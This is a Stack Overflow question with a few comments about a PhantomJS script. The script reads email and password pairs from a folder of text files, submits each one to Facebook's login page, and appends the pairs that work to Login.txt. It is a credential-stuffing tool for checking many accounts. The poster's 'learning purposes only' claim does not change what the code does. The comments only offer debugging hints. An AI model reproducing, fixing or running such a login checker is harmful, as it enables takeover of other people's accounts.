0

Whenever I run this code with only one text file in the directory "usernames/" it works perfectly. But when there are multiple text files in there, the page.open outputs the status "fail" for both text files instead of "succes".

It really confuses me how the amount of text files breaks this code. Btw, this code will not be used for any illegal activity it's for learning purposes only.

var page = require('webpage').create();
var system = require("system");
var fs = require('fs');

function facebooktest(file){
    var str = fs.read(file);
    var username = str.split("\n")[0];
    var password = str.split("\n")[1];
    var email = str.split("\n")[2];

    console.log(email);
    console.log(password);

    page.open('https://www.facebook.com/login.php?login_attempt/', function(status) {
        console.log("Status: " + status);
        page.includeJs('https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js', function () {    
            //page.render("before_submit.png");
            page.evaluate(function (email,password) {
                $("#email").val(email);
                $("#pass").val(password);
                $("#loginbutton").click();
            },email,password);  
            page.onLoadFinished = function() {  
                //page.render("after_submit.png");
                if (page.url == "https://www.facebook.com/"){
                    var fs = require('fs');
                    var pathe = 'Login.txt';
                    var content = "\nFacebook werkt voor : " + email + " " + password ;
                    fs.write(pathe, content, 'a');
                };
            };
        });
    });
}

var path = "usernames/";
var list = fs.list(path);
for(var x = 0; x < list.length; x++){
    var file = path + list[x];
    if(fs.isFile(file)){
        console.log(file);
        facebooktest(file);
    }
}
Iluvpresident
  • 163
  • 1
  • 15
  • 1
    I'm a casper user, not a phantomjs user, so I don't know enough to give a direct answer, but -- on a hunch -- have you tried waiting for the previous document to finish loading before loading the next? – fearless_fool Apr 18 '16 at 15:02
  • I tried to use the method window.setTimeout but that didn't seem to fix anything. – Iluvpresident Apr 18 '16 at 17:08
  • Now ([previous *exactly the same* question](http://stackoverflow.com/questions/36681308/page-open-breaks-when-called-multiple-times)) I've used a more general duplicate target, which should answer your question. – Artjom B. Apr 18 '16 at 20:17

0 Answers0